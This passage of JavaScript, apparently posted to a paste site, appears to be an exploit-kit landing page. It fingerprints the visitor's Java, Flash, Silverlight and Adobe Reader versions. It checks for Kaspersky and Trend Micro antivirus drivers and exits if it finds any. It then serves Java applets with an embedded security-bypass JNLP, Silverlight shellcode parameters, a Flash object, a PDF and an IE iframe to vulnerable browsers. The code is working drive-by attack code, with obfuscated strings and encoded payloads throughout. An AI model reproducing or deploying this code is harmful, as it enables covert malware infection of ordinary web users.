  1341.                 for (b = /=\s*([\d\.]+)/g, e = 0; 30 > e; e++)
  1342.                     if (b.test(c)) {
  1343.                         if (f = a.formatNum(RegExp.$1), !d || 0 < a.compareNums(f > d)) d = f
  1344.                     } else break;
  1345.             return d
  1346.         },
  1347.         axo: {
  1348.             detected: 0,
  1349.             version: null,
  1350.             progID: ["AcroPDF.PDF", "AcroPDF.PDF.1", "PDF.PdfCtrl", "PDF.PdfCtrl.5", "PDF.PdfCtrl.1"],
  1351.             query: function() {
  1352.                 var b = y,
  1353.                     c, d = null,
  1354.                     e;
  1355.                 if (this.detected) return this;
  1356.                 this.detected = -1;
  1357.                 for (e = 0; e < this.progID.length; e++)
  1358.                     if (c = a.getAXO(this.progID[e]))
  1359.                         if (this.detected = 1, d = b.pluginQuery(c), !a.dbug && d) break;
  1360.                 d && (this.version = d);
  1361.                 return this
  1362.             }
  1363.         },
  1364.         doc: {
  1365.             detected: 0,
  1366.             version: null,
  1367.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1368.             classID_dummy: "clsid:CA8A9780-280D-11CF-A24D-BA9876543210",
  1369.             DummySpanTagHTML: 0,
  1370.             HTML: 0,
  1371.             DummyObjTagHTML1: 0,
  1372.             DummyObjTagHTML2: 0,
  1373.             isDisabled: function() {
  1374.                 var b = 0;
  1375.                 this.HTML ? b = 1 : a.dbug || a.DOM.isEnabled.objectTagUsingActiveX() || (b = 1);
  1376.                 return b
  1377.             },
  1378.             query: function() {
  1379.                 var b = y,
  1380.                     c = null,
  1381.                     c = a.DOM.altHTML,
  1382.                     d;
  1383.                 if (this.isDisabled()) return this;
  1384.                 this.DummySpanTagHTML || (this.DummySpanTagHTML = a.DOM.insert("", [], [], c, b, 1));
  1385.                 this.HTML || (this.HTML = a.DOM.insert("object", ["classid", this.classID], [], c, b, 1));
  1386.                 this.DummyObjTagHTML2 || (this.DummyObjTagHTML2 = a.DOM.insert("object", ["classid", this.classID_dummy], [], c, b, 1));
  1387.                 d = a.DOM.getTagStatus(this.HTML, this.DummySpanTagHTML, this.DummyObjTagHTML1, this.DummyObjTagHTML2, null, 1);
  1388.                 c = b.pluginQuery(this.HTML.obj());
  1389.                 this.detected = 0 < d || c ? 1 : -0.1 == d || -0.5 == d ? -0.5 : -1;
  1390.                 this.version = c ? c : null;
  1391.                 return this
  1392.             }
  1393.         }
  1394.     };
  1395.     a.addPlugin("adobereader", y);
  1396. })();
  1397. j_version = PluginDetect.getVersion('Java');
  1398. p_version = PluginDetect.getVersion('AdobeReader');
  1399. f_version = PluginDetect.getVersion('Flash');
  1400. s_version = PluginDetect.getVersion('Silverlight');
  1401. if (j_version != null) {
  1402.     j_version = j_version.split(",");
  1403. } else {
  1404.     j_version = [0, 0, 0, 0];
  1405. } if (p_version != null) {
  1406.     p_version = p_version.split(",");
  1407. } else {
  1408.     p_version = [0, 0, 0, 0];
  1409. } if (f_version != null) {
  1410.     f_version = f_version.split(",");
  1411. } else {
  1412.     f_version = [0, 0, 0, 0];
  1413. } if (s_version != null) {
  1414.     s_version = s_version.split(",");
  1415. } else {
  1416.     s_version = [0, 0, 0, 0];
  1417. }
  1418.  
  1419. function fg(url, width, height) {
  1420.     var s1 = document.createElement("if51ra97me".replace(/[0-9]/g, ""));
  1421.     s1["s74etA86ttribute".replace(/[0-9]/g, "")]("sr14c".replace(/[0-9]/g, ""), url);
  1422.     s1["se38tAt57tribute".replace(/[0-9]/g, "")]("w51idt93h".replace(/[0-9]/g, ""), width);
  1423.     s1["s83etAttr53ibute".replace(/[0-9]/g, "")]("he67igh75t".replace(/[0-9]/g, ""), height);
  1424.     document.body.appendChild(s1);
  1425. }
  1426.  
  1427. function createFlashMarkup(width, height, swfurl, url) {
  1428.     var obj = document.createElement('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="' + width + '" height="' + height + '">');
  1429.     var p_m = document.createElement("param");
  1430.     p_m.setAttribute("name", "movie");
  1431.     p_m.setAttribute("value", swfurl);
  1432.     var p_m2 = document.createElement("param");
  1433.     p_m2.setAttribute("name", "FlashVars");
  1434.     p_m2.setAttribute("value", url);
  1435.     obj.appendChild(p_m);
  1436.     obj.appendChild(p_m2);
  1437.     document.body.appendChild(obj);
  1438. }
  1439.  
  1440. function createFlashMarkupFF(width, height, swfurl, url) {
  1441.     var obj = document.createElement("object");
  1442.     obj.setAttribute("type", "application/x-shockwave-flash");
  1443.     obj.setAttribute("data", swfurl);
  1444.     var p_m = document.createElement("param");
  1445.     p_m.setAttribute("name", "movie");
  1446.     p_m.setAttribute("value", swfurl);
  1447.     var p_m2 = document.createElement("param");
  1448.     p_m2.setAttribute("name", "FlashVars");
  1449.     p_m2.setAttribute("value", url);
  1450.     obj.appendChild(p_m);
  1451.     obj.appendChild(p_m2);
  1452.     document.body.appendChild(obj);
  1453. }
  1454.  
  1455. function ffbgrnth5we(a) {
  1456.     var newDiv = document.createElement('div');
  1457.     newDiv.innerHTML = a;
  1458.     document.body.appendChild(newDiv);
  1459. }
  1460.  
  1461. function asfwe(aa) {
  1462.     if (aa == 1) return ffbgrnth5we('<applet code="Mikado.class" archive="/3654356212/2/1410528060.jar"><param name="ldcrlio" value="AhhjyHHYc9aE7onipa8tp7tkun8uoaH5HwHxGxlrwql4lHL4rGLr4wxwHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  1463.     if (aa == 2) return ffbgrnth5we('<applet><param name="jnlp_href" value="Mikado.jnlp" /><param name="jnlp_embedded" value="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJpdHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgICA8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAgICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iLzM2NTQzNTYyMTIvMi8xNDEwNTI4MDYwLmphciIgbWFpbj0idHJ1ZSIgLz4NCiAgPC9yZXNvdXJjZXM+DQogIDxhcHBsZXQtZGVzYyBuYW1lPSJBRnVjayBPZmYiIGhlaWdodD0iMSIgICB3aWR0aD0iMSIgbWFpbi1jbGFzcz0iTWlrYWRvIj4NCiAgICAgPHBhcmFtIHZhbHVlPSJ0cnVlIiBuYW1lPSJfX2FwcGxldF9zc3ZfdmFsaWRhdGVkIiAvPg0KDQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+" /><param name="ldcrlio" value="AhhjyHHYc9aE7onipa8tp7tkun8uoaH5HwHxGxlrwql4lHL4rGLr4wxwHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  1464.     if (aa == 3) return ffbgrnth5we('<applet>     <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" />     <param name="jnlp_embedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9IiI+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0KICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCiAgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+DQogICAgICAgICAgICA8amFyIGhyZWY9Ii8zNjU0MzU2MjEyLzIvMTQxMDUyODA2MC5qYXIiIG1haW49InRydWUiIC8+DQogICAgICAgICAgICA8L3Jlc291cmNlcz4NCiAgICAgICAgICAgIDxqZng6amF2YWZ4LWRlc2MgbWFpbi1jbGFzcz0iUmFkdmEiIHByZWxvYWRlci1jbGFzcz0iTWlrYWRvIiBuYW1lPSJBcHAiLz4NCiAgICAgICAgICAgIDxhcHBsZXQtZGVzYyBuYW1lPSJBc2RmIiBtYWluLWNsYXNzPSJWYXNkYSIgd2lkdGg9IjMiIGhlaWdodD0iMyI+DQogICAgICAgICAgICA8L2FwcGxldC1kZXNjPjwvam5scD4=" /> <param name="javafx_version" value="2.0+" /> <param name="ldcrlio" value="AhhjyHHYc9aE7onipa8tp7tkun8uoaH5HwHxGxlrwql4lHL4rGLr4wxwHw" /> <param name="t" value="0" /> <param name="tt" value="0" />   </applet>');
  1465. }
  1466. java_enable = 0;
  1467. java_run = 0;
  1468. if (j_version[0] > 0 && j_version[1] < 7) {
  1469.     java_enable = 1;
  1470.     java_run = 1;
  1471. }
  1472. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17) {
  1473.     java_enable = 1;
  1474.     java_run = 2;
  1475. }
  1476. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21) {
  1477.     java_enable = 1;
  1478.     java_run = 3;
  1479. }
  1480.  
  1481. function CheckVersion11(f_version) {
  1482.     if (f_version[0] != 11) return false;
  1483.     if (f_version[1] > 9) return false;
  1484.     if (f_version[1] == 9 && f_version[2] > 900) return false;
  1485.     if (f_version[1] == 9 && f_version[2] == 900 && f_version[3] > 170) return false;
  1486.     return true;
  1487. }
  1488.  
  1489. function CheckVersion12(f_version) {
  1490.     if (f_version[0] != "12") return false;
  1491.     return true;
  1492. }
  1493.  
  1494. function CheckVersion13(f_version) {
  1495.     if (f_version[0] != 13) return false;
  1496.     if (f_version[1] > 0) return false;
  1497.     if (f_version[2] > 0) return false;
  1498.     if (f_version[0] == 13 && f_version[1] == 0 && f_version[2] == 0 && f_version[3] > 206) return false;
  1499.     return true;
  1500. }
  1501.  
  1502. function chavs(a) {
  1503.     var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
  1504.     xmlDoc.async = true;
  1505.     xmlDoc.loadXML('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Translation//EN" "res://c:\\Windows\\System32\\drivers\\' + a + '">');
  1506.     if (xmlDoc.parseError.errorCode != 0) {
  1507.         var err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
  1508.         err += "Error Reason: " + xmlDoc.parseError.reason;
  1509.         err += "Error line: " + xmlDoc.parseError.line;
  1510.         if (err.indexOf("-2147023083") > 0) {
  1511.             return 1;
  1512.         } else {
  1513.             return 0;
  1514.         }
  1515.     }
  1516.     return 0;
  1517. }
  1518. if (chavs("kl1.sys") || chavs("tmnciesc.sys") || chavs("tmtdi.sys") || chavs("tmactmon.sys") || chavs("TMEBC32.sys") || chavs("tmeext.sys") || chavs("tmcomm.sys") || chavs("tmevtmgr.sys")) {
  1519.     exit();
  1520. }
  1521. var func_arr = [];
  1522. if ((s_version[0] > 0 && s_version[0] < 5) || (s_version[0] == 5 && s_version[1] == 0 && s_version[1] <= 61118)) {
  1523.     func_arr.push("silver_run()");
  1524. }
  1525. if (CheckVersion11(f_version) || CheckVersion12(f_version) || CheckVersion13(f_version)) {
  1526.     func_arr.push("flash_run()");
  1527. }
  1528. if (java_run > 0) {
  1529.     func_arr.push("asfwe(java_run)");
  1530. }
  1531. if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3)) {
  1532.     func_arr.push("pdf_run()");
  1533. }
  1534. func_arr.push("msie_run()");
  1535.  
  1536. function msie_run() {
  1537.     fg("/3654356212/2/1410528060.htm", "77", "97");
  1538. }
  1539.  
  1540. function silver_run() {
  1541.     ffbgrnth5we('<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="10" height="10"><param name="source" value="/3654356212/2/1410528060.xap"/><param name="initParams" value="tuti=YOsTWLl+AwAASYA0CByFyXX3/9Bhw+jo////9RcfHBxCSZX5dHNyHBx0aW5wcUh0klIS8HQL1jdy9EgeHBxFRXR581MZTPSMHhwcTHYadhx0BxrUEXT6Jmsy9C8eHBwtx6sMdlxPT3YcdEjWs410C9Y3cvQGHhwci3R9ncXTdAvWN3L0Fh4cHCAaYAxPS/ShHBwcnOA8YRh2HfcedhxKS/SZHBwcSpFoWxr0cxwcHJncaUp2F0VVaExNn2HkHWgGSvSPHRwcmdxpBi3ceJdcBJdcKCH4HhwcacdK9M4cHByZ3GjNRUIt3FokWuNp5iQaabBLW1t6JRtp5dsbJxwtHJFrGkP0CRwcHNXfdhx24nSEc1MhdO7HaLH0aB0cHC3VTU1PSktN40ng30mV+XYcdDkcTxyV/ONpEEzjaRR0Ylafy3Tux2ix9FodHBzV3hQcSZX5Skuia/cXPUxIdhR243QTuwJFSvQ7HRwcRo3/IJdhFExI42kQS3YFTnRGcsfHSvQQHRwcjUT/PeMrdNGQa+1K9OccHBwTqhRVTeMrdC5iGjxK9PUcHByXFI1DQtXeFBxKS0mV+ZdpDEpaep8iHGnlkWIf9A0cHBwzfzxvaH1uaDw+Pjw+OW8+HEv0VePj45FoWx5LSnRiVp/LdO7HaLH0gBwcHHYgRTXQkWHYTUst3O+2Q5Mbdm90chx9HHRuHGkclXsQdB3pCX50Gv6xLvRxHBwclVsU9AwcHBx/HHEceBwyHHkcZBx5HBwck1sMlWsIS3TBxDLgdOZmifj0IxwcHNVDQt4YHEmV+XZIRTXQS5FhsEst3O+2Q5FTDHZYkx1LTUxMTExMTEzjaRR0lOKvCnQL1jdy9BkcHBxD1d4YHEX0FRwcHEz0IRwcHE3j/Hwt3HiXTCyXThCXTgiXbjQt4y3csFqZ3GgRIH1gHjA83dMRHdv39ydgODiXXgyXDmnHlVg4AH3eGBx8l3A4OJdZIJdIGWQd9pdWBJdGPB33/yhVlyiXHfIt4y3c4LCY3Ggb3dMRHdv36CdgODRp/ZdGOB33epcQV5dGAB33lxiXHfSVWDgAfd4UHPTs4OPjdGhobCYzM3h1e3F9cnNpbnlxMm95cm8xf2kyf3NxM3ozLjMtKC0sKS4kLCosMy8qKSgvKSouLS4zJBwlLCQsJSwrLCkpKCktKXgpKil+LC0sfiwvKS0sLCkvKS8pfywpLCknLScqHBwcAAAA" /></object>');
  1542. }
  1543.  
  1544. function flash_run() {
  1545.     ffbgrnth5we('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="10" height="10"><param name="movie" value="/3654356212/2/1410528060.swf"/><param name="FlashVars" value="exec=AhhjyHHYc9aE7onipa8tp7tkun8uoaH5HwHxGxlrwql4lHL4rGLr4wxwH3"/></object>');
  1546. }
  1547.  
  1548. function pdf_run() {
  1549.     fg("/3654356212/2/1410528060.pdf", "64", "100");
  1550. }
  1551. if (func_arr.length == 1) {
  1552.     setTimeout(func_arr[0], 10);
  1553. }
  1554. if (func_arr.length == 2) {
  1555.     setTimeout(func_arr[0], 10);
  1556.     setTimeout(func_arr[1], 3000);
  1557. }
  1558. if (func_arr.length == 3) {
  1559.     setTimeout(func_arr[0], 10);
  1560.     setTimeout(func_arr[1], 3000);
  1561.     setTimeout(func_arr[2], 5000);
  1562. }
  1563. if (func_arr.length == 4) {
  1564.     setTimeout(func_arr[0], 10);
  1565.     setTimeout(func_arr[1], 3000);
  1566.     setTimeout(func_arr[2], 5000);
  1567.     setTimeout(func_arr[3], 7000);
  1568. }
  1569. if (func_arr.length == 5) {
  1570.     setTimeout(func_arr[0], 10);
  1571.     setTimeout(func_arr[1], 3000);
  1572.     setTimeout(func_arr[2], 5000);
  1573.     setTimeout(func_arr[3], 7000);
  1574.     setTimeout(func_arr[4], 9000);
  1575. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement